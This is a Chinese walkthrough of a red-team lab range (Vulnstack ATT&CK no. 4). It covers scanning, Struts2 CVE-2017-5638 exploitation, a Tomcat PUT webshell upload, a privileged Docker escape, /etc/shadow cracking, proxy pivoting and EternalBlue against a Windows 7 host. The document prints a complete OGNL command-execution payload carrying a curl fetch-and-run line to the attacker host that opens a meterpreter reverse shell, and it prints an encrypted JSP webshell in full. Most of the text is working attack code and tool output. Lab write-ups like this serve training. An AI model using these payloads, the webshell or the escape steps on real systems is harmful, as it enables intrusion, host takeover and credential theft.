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ATT&CK红队评估实战靶场(四)

ATT&CK红队评估实战靶场(四)#

靶机链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

环境搭建#

新建两张仅主机网卡,一张192.168.183.0网段(内网网卡),一张192.168.157.0网段(模拟外网网段),然后按照拓补图分配网卡即可

image.png

IP信息:

Kali 192.158.157.129

Ubuntu-web 192.168.157.128 192.168.183.129

Win7 192.168.183.131

DC 192.168.183.130

然后在ubuntu启动Docker,启动 sudo docker start ec 17 09 bb da 3d ab ad

主机探测端口扫描#

  1. 扫描网段内存活主机

    nmap -sP 192.168.157.0/24  
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-02 12:44 CST
    Nmap scan report for 192.168.157.1
    Host is up (0.00018s latency).
    MAC Address: 00:50:56:C0:00:03 (VMware)
    Nmap scan report for 192.168.157.128
    Host is up (0.00024s latency).
    MAC Address: 00:0C:29:B6:47:4A (VMware)
    Nmap scan report for 192.168.157.254
    Host is up (0.00021s latency).
    MAC Address: 00:50:56:E7:E8:3F (VMware)
    Nmap scan report for 192.168.157.129
    Host is up.
    Nmap done: 256 IP addresses (4 hosts up) scanned in 28.01 seconds

    靶机IP是128kali 的IP是129

  2. 扫描靶机端口

    nmap -sT -min-rate 10000 -p- 192.168.157.128
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-02 13:04 CST
    Nmap scan report for 192.168.157.128
    Host is up (0.00076s latency).
    Not shown: 65531 closed tcp ports (conn-refused)
    PORT     STATE SERVICE
    22/tcp   open  ssh
    2001/tcp open  dc
    2002/tcp open  globe
    2003/tcp open  finger
    MAC Address: 00:0C:29:B6:47:4A (VMware)

    2001-2003web端口

  3. 扫描主机服务版本以及系统版本

    nmap -sV -sT -O -p 22,2001,2002,2003 192.168.157.128
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-02 13:28 CST
    Nmap scan report for 192.168.157.128
    Host is up (0.00075s latency).
    
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
    2001/tcp open  http    Jetty 9.2.11.v20150529
    2002/tcp open  http    Apache Tomcat 8.5.19
    2003/tcp open  http    Apache httpd 2.4.25 ((Debian))
    MAC Address: 00:0C:29:B6:47:4A (VMware)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 3.X|4.X
    OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
    OS details: Linux 3.2 - 4.9
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kerne

    Jetty 9.2.11 以及Tomcathttpd

  4. 扫描主机服务漏洞,使用nikto扫描

    nikto -host 192.168.157.128 -port 22,2001,2002,2003                                                                                                                                 
    - Nikto v2.5.0                                                                                                                                                                          
    ---------------------------------------------------------------------------                                                                                                             
    ---------------------------------------------------------------------------                                                                                                             
    + Target IP:          192.168.157.128                                                                                                                                                   
    + Target Hostname:    192.168.157.128                                                                                                                                                   
    + Target Port:        2001                                                                                                                                                              
    + Start Time:         2024-12-02 13:51:23 (GMT8)                                                                                                                                        
    ---------------------------------------------------------------------------                                                                                                             
    + Server: Jetty(9.2.11.v20150529)                                                                                                                                                       
    + /: Cookie JSESSIONID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies                                                                
    + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options                                        
    + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparke
    r.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/                
    + No CGI Directories found (use '-C all' to force check all possible dirs)                                                                                                              
    + Jetty/9.2.11.v20150529 appears to be outdated (current is at least 11.0.6). Jetty 10.0.6 AND 9.4.41.v20210516 are also currently supported.                                           
    + /: Uncommon header 'nikto-added-cve-2017-5638' found, with contents: 42.                                                                                                              
    + /: Site appears vulnerable to the 'strutshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
    + /index.action: Site appears vulnerable to the 'strutshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
    + /login.action: Site appears vulnerable to the 'strutshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638                                            
    + /getaccess: This may be an indication that the server is running getAccess for SSO.                                                                                                   + /siteminder: This may be an indication that the server is running Siteminder for SSO.                                                                                                 
    + /tree: WASD Server reveals the entire web root structure and files via this URL. Upgrade to a later version and secure according to the documents on the WASD web site.               
    + ERROR: Error limit (20) reached for host, giving up. Last error:                                                                                                                      
    + Scan terminated: 0 error(s) and 11 item(s) reported on remote host                                                                                                                    
    + End Time:           2024-12-02 13:51:37 (GMT8) (14 seconds)                                                                                                                           
    ---------------------------------------------------------------------------                                                                                                             
    + Target IP:          192.168.157.128                                                       
    + Target Hostname:    192.168.157.128                                                                                                                                                   
    + Target Port:        2002                                                                                                                                                              
    + Start Time:         2024-12-02 13:51:37 (GMT8)                                                                                                                                        
    ---------------------------------------------------------------------------                                                                                                             
    + Server: No banner retrieved                                                               
    + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
    + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparke
    r.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
    + No CGI Directories found (use '-C all' to force check all possible dirs)                                                                                                              
    + /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon
    + /nikto-test-7haKDeBL.html: HTTP method 'PUT' allows clients to save files on the web server. See: https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled
    + /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon                    [0/122]
    + /nikto-test-7haKDeBL.html: HTTP method 'PUT' allows clients to save files on the web server. See: https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled               
    + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS .                                                                                                                
    + HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.                                                                                       
    + HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.                                                                                           
    + /examples/servlets/index.html: Apache Tomcat default JSP pages present.                                                                                                               
    + /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104                      
    + /manager/manager-howto.html: Tomcat documentation found. See: CWE-552                                                                                                                 
    + /manager/html: Default Tomcat Manager / Host Manager interface found.                                                                                                                 
    + /host-manager/html: Default Tomcat Manager / Host Manager interface found.                                                                                                            
    + /manager/status: Default Tomcat Server Status interface found.                                                                                                                        
    + /host-manager/status: Default Tomcat Server Status interface found.                                                                                                                   
    + 9610 requests: 0 error(s) and 14 item(s) reported on remote host                                                                                                                      
    + End Time:           2024-12-02 13:52:21 (GMT8) (44 seconds)                                                                                                                           
    ---------------------------------------------------------------------------                                                                                                             
    + Target IP:          192.168.157.128                                                                                                                                                   
    + Target Hostname:    192.168.157.128                                                       
    + Target Port:        2003                                                                                                                                                              
    + Start Time:         2024-12-02 13:52:21 (GMT8)                                                                                                                                        
    ---------------------------------------------------------------------------                                                                                                             
    + Server: Apache/2.4.25 (Debian)                                                                                                                                                        
    + /: Retrieved x-powered-by header: PHP/7.2.5.                                                                                                                                          
    + /: Uncommon header 'x-ob_mode' found, with contents: 1.                                                                                                                               
    + /TrzGOLfn.show_query_columns: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/                                                                                 
    + No CGI Directories found (use '-C all' to force check all possible dirs)                                                                                                              
    + Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.                                                                
    + Multiple index files found: /index.php, /index.jsp.                                                                                                                                   
    + /: Web Server returns a valid response with junk HTTP methods which may cause false positives.                                                                                        
    + /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017    
    + /README: README file found.                                                               
    + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/                                                                     
    + /composer.json: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/                                                                      
    + /composer.lock: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/                                                                      
    + /package.json: Node.js package file found. It may contain sensitive information.                                                                                                      
    + 17689 requests: 0 error(s) and 12 item(s) reported on remote host                         
    + End Time:           2024-12-02 13:53:18 (GMT8) (57 seconds)                                                                                                                           
    ---------------------------------------------------------------------------                                                                                                             
    + 3 host(s) tested                                    

    2001端口可能存在CVE-2017-56382002 端口允许putdelete方法(可能存在CVE-2017-12615

web渗透#

  1. 访问主页
    • 2001端口

      image.png

      文件上传页面

    • 2002端口

      image.png

    • 2003端口

      image.png

      竟然是phpmyadmin

CVE-2017-5638#

https://www.cnblogs.com/moyudaxia/p/14445883.html

发现和靶机页面一模一样,应该是使用直接Docker造的

  • 验证漏洞

    Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

    image.png

    漏洞存在

  • EXP,存在命令执行

    Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='RCE').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
  1. 进行反弹shell
    • msfvenom生成payload

      msfvenom -p cmd/linux/http/x64/meterpreter/reverse_tcp lhost=192.168.157.129 lport=1234 -f raw                                                                         
      [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
      [-] No arch selected, selecting arch: cmd from the payload
      No encoder specified, outputting raw payload
      Payload size: 117 bytes
      curl -so /tmp/irZWQXXBy http://192.168.157.129:8080/gYBZzJWIpFJeIY1gYugNpQ; chmod +x /tmp/irZWQXXBy; /tmp/irZWQXXBy &
    • msf监听

      msf6 > use exploit/multi/handler                                                                 
      msf6 exploit(multi/handler) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp             
      msf6 exploit(multi/handler) > set lhost 192.168.157.129                                                                                                                                 
      msf6 exploit(multi/handler) > set lport 1234                                                     
      msf6 exploit(multi/handler) > run                                                                                                                                                       
    • exp中填入生成的payload,然后发送

      Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='curl -so /tmp/irZWQXXBy http://192.168.157.129:8080/gYBZzJWIpFJeIY1gYugNpQ; chmod +x /tmp/irZWQXXBy; /tmp/irZWQXXBy &').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    • 获得shell

      msf6 exploit(multi/handler) > run                                                                                                                                                       
                                                                                                       
      [*] Started reverse TCP handler on 192.168.157.129:1234                              
      [*] Sending stage (3045380 bytes) to 192.168.157.128                                             
      [*] Meterpreter session 1 opened (192.168.157.129:1234 -> 192.168.157.128:52614) at 2024-12-02 14:52:14 +0800                                                                           
                                                                                                                                                                                              
      meterpreter >                                                                                                 

CVE-2017-12615#

Tomcat PUT方法任意写文件漏洞,利用HTTP的PUT方法直接上传webshell到目标服务器,从而获取权限

  1. 抓包然后修改为PUT方法,然后1.jsp是上传文件名,内容块里边是冰蝎的JSP脚本内容

    PUT /1.jsp/ HTTP/1.1
    Host: 192.168.157.128:2002
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate, br
    Referer: http://192.168.157.128:2001/
    Sec-GPC: 1
    Connection: keep-alive
    Cookie: JSESSIONID=ebkm5umq7o4emfo8amiifu8q; phpMyAdmin=0e02d819225d61988d3e5e0979e5bf09; pma_lang=zh_CN
    Upgrade-Insecure-Requests: 1
    Priority: u=0, i
    
    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
  2. 使用冰蝎连接,成功连接,获得shell

    image.png

  3. 然后通过上边一样的方法反弹shell即可

信息收集#

  1. 查看权限

    # id
    uid=0(root) gid=0(root) groups=0(root)
    # whoami
    root
    # uname -a
    Linux 174745108fcb 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 GNU/Linux

    直接就是root权限?

  2. 判断是否是Docker环境

    meterpreter > run post/linux/gather/checkcontainer 
    
    [+] This appears to be a 'Docker' container

    似乎这是一个Docker容器,再看根目录下是否存在.dockerenv文件

    cd /
    pwd
    /
    ls -al
    total 72
    drwxr-xr-x   1 root root 4096 Jan 22  2020 .
    drwxr-xr-x   1 root root 4096 Jan 22  2020 ..
    -rwxr-xr-x   1 root root    0 Jan 22  2020 .dockerenv

    由此可以判断是在容器内

Docker逃逸#

https://xz.aliyun.com/t/8558?time__1311=n4%2BxnD0DcDuD90WY4GNepDUh2YDOl9YD02L%2BiD#toc-3

  1. 想着尝试用dirty cow来逃逸Docker,但是发现内核版本不在范围内,只能寻找别的方法

  2. 然后尝试 利用特权模式进行逃逸

    当操作者执行docker run —privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

    使用fdisk -l查看磁盘,无回显(现在是2001端口获得的shell

    # fdisk -l

    使用tomcat获得的shell来查看磁盘,可以查看到

    # fdisk -l
    Disk /dev/sda: 10 GiB, 10737418240 bytes, 20971520 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    Disklabel type: dos
    Disk identifier: 0x00063af9
    
    Device     Boot    Start      End  Sectors Size Id Type
    /dev/sda1  *        2048 16779263 16777216   8G 83 Linux
    /dev/sda2       16781310 20969471  4188162   2G  5 Extended
    /dev/sda5       16781312 20969471  4188160   2G 82 Linux swap / Solaris

    判断特权模式

    cat /proc/self/status | grep CapEff

    特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff或者是 0000001fffffffff

    image.png

    创建目录,并将分区挂载到目录中

    mkdir test
    mount /dev/sda1 /test

    然后已经将宿主机挂在到test目录下了

    ls -al /test
    total 120
    drwxr-xr-x  23 root root  4096 Jan 20  2020 .
    drwxr-xr-x   1 root root  4096 Dec  3 05:20 ..
    drwxr-xr-x   2 root root  4096 Jan 20  2020 bin
    drwxr-xr-x   3 root root  4096 Jan 20  2020 boot
    drwxrwxr-x   2 root root  4096 Jan 20  2020 cdrom
    drwxr-xr-x   4 root root  4096 Mar  4  2019 dev
    drwxr-xr-x 130 root root 12288 Dec  3 04:57 etc
    drwxr-xr-x   3 root root  4096 Jan 20  2020 home
    lrwxrwxrwx   1 root root    33 Jan 20  2020 initrd.img -> boot/initrd.img-4.4.0-142-generic
    drwxr-xr-x  23 root root  4096 Jan 20  2020 lib
    drwxr-xr-x   2 root root  4096 Mar  4  2019 lib64
    drwx------   2 root root 16384 Jan 20  2020 lost+found
    drwxr-xr-x   3 root root  4096 Mar  4  2019 media
    drwxr-xr-x   2 root root  4096 Apr 10  2014 mnt
    drwxr-xr-x   2 root root  4096 Jan 20  2020 opt
    drwxr-xr-x   2 root root  4096 Apr 10  2014 proc
    drwx------   2 root root  4096 Jan 21  2020 root
    drwxr-xr-x  12 root root  4096 Mar  4  2019 run
    drwxr-xr-x   2 root root 12288 Jan 20  2020 sbin
    drwxr-xr-x   2 root root  4096 Mar  4  2019 srv
    drwxr-xr-x   2 root root  4096 Mar 13  2014 sys
    drwxrwxrwt   5 root root  4096 Dec  3 05:17 tmp
    drwxr-xr-x  10 root root  4096 Mar  4  2019 usr
    drwxr-xr-x  13 root root  4096 Mar  4  2019 var
    lrwxrwxrwx   1 root root    30 Jan 20  2020 vmlinuz -> boot/vmlinuz-4.4.0-142-generic
  3. 查看shadow文件,仅能看到ubuntu用户有密码

    cat /test/etc/shadow 
    ubuntu:$1$xJbww$Yknw8dsfh25t02/g2fM9g/:18281:0:99999:7:::
  4. 拿到开膛手破解

    john pass.txt                                        
    Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
    Use the "--format=md5crypt-long" option to force loading these as that type instead
    Using default input encoding: UTF-8
    Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
    Will run 8 OpenMP threads
    Proceeding with single, rules:Single
    Press 'q' or Ctrl-C to abort, almost any other key for status
    ubuntu           (ubuntu)     
    1g 0:00:00:00 DONE 1/3 (2024-12-03 13:24) 33.33g/s 6400p/s 6400c/s 6400C/s ubuntu..ubuntut
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed. 

    破解出密码 ubuntu

  5. 尝试登陆SSH

    ssh ubuntu@192.168.157.128 
    ubuntu@192.168.157.128's password: 
    Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com/
    
    Your Hardware Enablement Stack (HWE) is supported until April 2019.
    Last login: Thu Jan 23 20:50:17 2020 from 192.168.157.128
    ubuntu@ubuntu:~$ 

    成功进入,查看IP信息等

    ubuntu@ubuntu:~$ ip add  
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000                                                                                                             
        link/ether 00:0c:29:b6:47:4a brd ff:ff:ff:ff:ff:ff
        inet 192.168.157.128/24 brd 192.168.157.255 scope global eth0
           valid_lft forever preferred_lft forever
        inet6 fe80::20c:29ff:feb6:474a/64 scope link                                                                                                                                                                  
           valid_lft forever preferred_lft forever                                                           
    3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
        link/ether 00:0c:29:b6:47:54 brd ff:ff:ff:ff:ff:ff
        inet 192.168.183.129/24 brd 192.168.183.255 scope global eth1                                                                                                                                                 
           valid_lft forever preferred_lft forever                                                           
        inet6 fe80::20c:29ff:feb6:4754/64 scope link  
           valid_lft forever preferred_lft forever

    可以发现逃逸了docker环境,并且内网网段是192.168.183.0

内网信息收集#

  1. 查看ubuntu用户权限

    ubuntu@ubuntu:~$ sudo -i
    [sudo] password for ubuntu: 
    root@ubuntu:~# 

    直接到root用户了,成功拿到web主机的最高权限

  2. 将其上线MSF(和上面的方法一样)

    msf6 exploit(multi/handler) > run
    
    [*] Started reverse TCP handler on 192.168.157.129:4445 
    [*] Sending stage (3045380 bytes) to 192.168.157.128
    [*] Meterpreter session 2 opened (192.168.157.129:4445 -> 192.168.157.128:37052) at 2024-12-03 13:29:59 +0800
    
    meterpreter > 
  3. 首先将设置通向内网的路由,然后设置代理(方便后面使用)

    添加路由

    meterpreter > run post/multi/manage/autoroute 
    
    [*] Running module against 192.168.157.128
    [*] Searching for subnets to autoroute.
    [+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table.
    [+] Route added to subnet 172.18.0.0/255.255.0.0 from host's routing table.
    [+] Route added to subnet 172.19.0.0/255.255.0.0 from host's routing table.
    [+] Route added to subnet 172.20.0.0/255.255.0.0 from host's routing table.
    [+] Route added to subnet 192.168.157.0/255.255.255.0 from host's routing table.
    [+] Route added to subnet 192.168.183.0/255.255.255.0 from host's routing table.

    然后设置代理

    meterpreter > bg
    [*] Backgrounding session 2
    msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy 
    msf6 auxiliary(server/socks_proxy) > set version 4a
    msf6 auxiliary(server/socks_proxy) > run
    [*] Auxiliary module running as background job 0.

    然后配置chainproxy4的配置文件

    # vim /etc/proxychains4.conf  
    socks4  127.0.0.1       1080   

    测试一下,我们知道web主机内网地址是192.168.183.129 ,使用curl成功回显

    proxychains curl 192.168.183.129:2001                                                                
    [proxychains] config file found: /etc/proxychains4.conf                                                  
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4                                   
    [proxychains] DLL init: proxychains-ng 4.17                                                              
    [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.183.129:2001  ...  OK                      
    
    <html>                                              
    <head>                                              
       <title>Struts2 Showcase - Fileupload sample</title>                                                   
    </head>                                                                       
  4. 使用fscan扫描内网信息

    • fscan 上传到ubuntu

    • 靶机运行fscan将结果保存到1.txt

      ./fscan -h 192.168.183.1/24 > 1.txt
  5. 扫描完毕后查看1.txt结果

    • 存活主机,除了web主机内网还有两台

      (icmp) Target 192.168.183.129 is alive   
      (icmp) Target 192.168.183.130 is alive  
      (icmp) Target 192.168.183.131 is alive
    • 端口扫描

      192.168.183.130:445 open
      192.168.183.130:139 open  
      192.168.183.130:135 open 
      192.168.183.130:88 open  
      
      192.168.183.131:445 open
      192.168.183.131:139 open
      192.168.183.131:135 open  
      
      192.168.183.129:22 open 

      130开启了88端口,是kerberos服务端口,可能是域控,并且都开启了445端口

    • vulscan

      [*] NetInfo                                         
      [*]192.168.183.131                                  
         [->]TESTWIN7-PC
         [->]192.168.183.131                              
      [*] NetBios 192.168.183.1   WORKGROUP\DESKTOP-OO4DPSM 
      [*] NetInfo                                      
      [*]192.168.183.130                                  
         [->]WIN-ENS2VR5TR3N                              
         [->]192.168.183.130                              
      [*] NetBios 192.168.183.130 [+] DC:WIN-ENS2VR5TR3N.demo.com      Windows Server 2008 HPC Edition 7601 Service Pack 1
      [+] MS17-010 192.168.183.131    (Windows 7 Enterprise 7601 Service Pack 1) 
      [+] MS17-010 192.168.183.130    (Windows Server 2008 HPC Edition 7601 Service Pack 1)

      和上面猜测的一样,130DC,域名是demo.com ,并且两台主机都扫描出了可能存在MS17-010

内网渗透#

MS17-010#

  1. 尝试MS17-010
    • TESTWIN7-PC 192.168.183.131 (概率低的令人发指),可能是代理问题

      msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_eternalblue
      msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.183.131
      msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/meterpreter/bind_tcp
      msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
      msf6 exploit(windows/smb/ms17_010_eternalblue) > run
      
      [*] 192.168.183.131:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
      [+] 192.168.183.131:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
      [*] 192.168.183.131:445   - Scanned 1 of 1 hosts (100% complete)
      [+] 192.168.183.131:445 - The target is vulnerable.                                                      
      [*] 192.168.183.131:445 - Connecting to target for exploitation.
      [+] 192.168.183.131:445 - Connection established for exploitation.
      [+] 192.168.183.131:445 - Target OS selected valid for OS indicated by SMB reply
      [*] 192.168.183.131:445 - CORE raw buffer dump (40 bytes)
      [*] 192.168.183.131:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70  Windows 7 Enterp
      [*] 192.168.183.131:445 - 0x00000010  72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63  rise 7601 Servic
      [*] 192.168.183.131:445 - 0x00000020  65 20 50 61 63 6b 20 31                          e Pack 1        
      [+] 192.168.183.131:445 - Target arch selected valid for arch indicated by DCE/RPC reply
      [*] 192.168.183.131:445 - Trying exploit with 12 Groom Allocations.
      [*] 192.168.183.131:445 - Sending all but last fragment of exploit packet
      [*] 192.168.183.131:445 - Starting non-paged pool grooming                             
      [+] 192.168.183.131:445 - Sending SMBv2 buffers                                                          
      [+] 192.168.183.131:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
      [*] 192.168.183.131:445 - Sending final SMBv2 buffers。
      [*] 192.168.183.131:445 - Sending last fragment of exploit packet!
      [*] 192.168.183.131:445 - Receiving response from exploit packet
      [*] 192.168.183.131:445 - Sending last fragment of exploit packet!
      [*] 192.168.183.131:445 - Receiving response from exploit packet                                         
      [+] 192.168.183.131:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!                     
      [*] 192.168.183.131:445 - Sending egg to corrupted connection.                                           
      [*] 192.168.183.131:445 - Triggering free of corrupted buffer.                                           
      [*] Started bind TCP handler against 192.168.183.131:6756                                        
      [-] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      [-] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      [-] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=                  
      [*] 192.168.183.131:445 - Connecting to target for exploitation.                                         
      [+] 192.168.183.131:445 - Connection established for exploitation.                                       
      [+] 192.168.183.131:445 - Target OS selected valid for OS indicated by SMB reply                         
      [*] 192.168.183.131:445 - CORE raw buffer dump (40 bytes)                                                
      [*] 192.168.183.131:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70  Windows 7 Enterp  
      [*] 192.168.183.131:445 - 0x00000010  72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63  rise 7601 Servic  
      [*] 192.168.183.131:445 - 0x00000020  65 20 50 61 63 6b 20 31                          e Pack 1          
      [+] 192.168.183.131:445 - Target arch selected valid for arch indicated by DCE/RPC reply                 
      [*] 192.168.183.131:445 - Trying exploit with 17 Groom Allocations.                                      
      [*] 192.168.183.131:445 - Sending all but last fragment of exploit packet
      [*] 192.168.183.131:445 - Starting non-paged pool grooming                                               
      [+] 192.168.183.131:445 - Sending SMBv2 buffers     
      [+] 192.168.183.131:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.          
      [*] 192.168.183.131:445 - Sending final SMBv2 buffers.                     
      [*] 192.168.183.131:445 - Sending last fragment of exploit packet!
      [*] 192.168.183.131:445 - Receiving response from exploit packet
      [+] 192.168.183.131:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!                     
      [*] 192.168.183.131:445 - Sending egg to corrupted connection.  
      [*] 192.168.183.131:445 - Triggering free of corrupted buffer.    
      [*] Sending stage (201798 bytes) to 192.168.183.131                                                      
      [*] Session ID 3 (192.168.183.129:50614 -> 192.168.183.131:6756 via session 1) processing AutoRunScript 'post/windows/manage/migrate' 
      [*] Running module against TESTWIN7-PC                                                                   
      [*] Current server process: spoolsv.exe (1104)                                                           
      [*] Spawning notepad.exe process to migrate into                                                         
      [*] Spoofing PPID 0                                                                                      
      [*] Migrating into 836                                                                                   
      [+] Successfully migrated into process 836                                                               
      [+] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      [+] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=                  
      [+] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=        
      [*] Meterpreter session 3 opened (192.168.183.129:50614 -> 192.168.183.131:6756 via session 1) at 2024-12-03 18:51:01 +0800
    • WIN-ENS2VR5TR3N 192.168.183.130 DC,成功不了,可能是考别的知识点

